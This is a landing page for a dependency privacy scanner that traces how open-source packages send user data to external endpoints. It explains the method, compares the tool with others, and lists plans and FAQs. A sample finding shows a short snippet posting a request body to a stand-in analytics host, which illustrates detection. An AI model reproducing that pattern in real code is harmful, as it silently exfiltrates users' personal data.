What does this repo send off your machine?█
Paste a GitHub repo. CloseOpen traces every code path that moves user data to an external endpoint — across its npm, PyPI, and cargo dependencies, transitive tree included — and maps each one to a line of code. Deterministic. Evidence-backed. Free for public repos.
Source→sink taint analysis, not pattern-matching → see how it worksWhat a report looks like
Every scan returns line-level evidence, not a vibe. Here's the anatomy of a finding — a data flow from a source to an external sink, mapped to the exact file and line, with a plain-English explanation.
verified_user Application data leak confirmed
A dependency reads request data and transmits it to an undeclared third-party endpoint. Confirmed by a complete source-to-sink path in reachable code.
req.body → https.request()const payload = JSON.stringify(req.body); // source: user request data
https.request(TELEMETRY_URL).end(payload); // sink: outbound to metrics.example-cdn.netPlain English: The package chatty-metrics reads the incoming request body and posts it to an undeclared analytics endpoint. Under GDPR that is an undisclosed sub-processor receiving personal data.
Illustrative example — not a real package. See real scans below.
What is CloseOpen?
CloseOpen is a privacy scanner for open-source dependencies. It analyzes the third-party packages a GitHub repository pulls in — npm, PyPI, and cargo, including deeply nested transitive dependencies — and detects code paths that move user data from an input (a source) to an external network call (a sink).
When a package quietly sends environment variables, telemetry, or personal data to an outside endpoint, CloseOpen flags it with the exact file and line, a severity, a confidence level, and a plain-English explanation.
Unlike secret scanners — which look for leaked keys — or SAST tools that scan your own code, CloseOpen focuses on what your dependencies do with data. Public repositories scan free, and every public report has a shareable page.
How it works
Paste
Drop in a public GitHub URL. CloseOpen resolves the full dependency tree from the lockfile — direct and transitive — across npm, PyPI, and cargo.
Trace
Static taint analysis follows data from sources (inputs) to sinks (outbound network calls). Deterministic — it tracks the flow, it doesn't guess from patterns.
Evidence
Every finding lands with a file, a line, a source→sink path, and a confidence level. An LLM adds a plain-English explanation — but never decides the finding.
How it's different from the tools you already run
Secret scanners, SAST, CVE feeds, and supply-chain risk tools each answer a different question. CloseOpen answers one they don't: what user data does a dependency send, from which line, to which endpoint?
The business stake: catch undisclosed data exfiltration before it becomes a GDPR incident or a failed vendor review — with file-and-line evidence your security and legal teams can cite.
Find secrets you leaked into your own code. CloseOpen tracks how dependency code moves user data out to external endpoints.
Scan the code you wrote. CloseOpen audits the OSS you pulled in — the part you didn't write but still ship and answer for.
Match dependencies against known CVEs and licenses. CloseOpen asks a question a CVE feed can't: where does this package send data right now?
Flags supply-chain risk signals — install scripts, obfuscation, new maintainers. CloseOpen goes to the data flow itself: the actual source→sink path, with the line.
Browse the scan directory
Every public scan becomes a permanent, shareable report page. Search the repos the community has already traced — or run one and add yours. Wondering whether a tool phones home? There's a good chance the answer is already here.
Plans & pricing
⚡ Early Bird pricing live now — limited time
FREE
$0/MO- check_boxPublic repo scan (1 scan / hour)
- check_boxPublic, shareable report page
- check_box Scan history
PRO
- check_box Everything in Free
- check_boxPrivate repo scan (5 scans / hour)
- check_boxPrivate reports — not listed in the directory
- check_box Directory access — every public scan from the community
LIFETIME PRO
- check_box Everything in Pro
- all_inclusive Pay once — yours for life, no subscription
Early Bird discount applied at checkout. Billing secured by Stripe.
Frequently asked questions
What does CloseOpen scan?
The third-party dependencies in a GitHub repo — npm, PyPI, and cargo — including transitive packages, for data-exfiltration and telemetry behavior.
How do I check if a package or tool sends telemetry or phones home?
Paste its GitHub repo into CloseOpen. It traces data flows from sources (inputs like env vars or user data) to sinks (outbound network calls) and lists every external domain the code can reach, with the file and line as evidence.
How is it different from GitLeaks or GitGuardian?
Those find leaked secrets in your code. CloseOpen tracks how dependency code moves user data to external endpoints.
How is it different from Bearer, Snyk, or Socket?
Bearer scans code you wrote; Snyk focuses on known CVEs and licenses; Socket flags supply-chain risk signals like install scripts. CloseOpen answers a narrower question with evidence: what user data does a dependency send, from which line, to which endpoint?
Is it accurate?
Detection is deterministic — source-to-sink data-flow tracking, not pattern guessing. The LLM only explains findings in plain English; it never decides them.
Is it free?
Public repositories scan free and their report pages are public. Private-repo scanning is a Pro plan.
What ecosystems are supported?
JavaScript/TypeScript (npm), Python (PyPI), and Rust (cargo), with transitive-dependency resolution across each lockfile.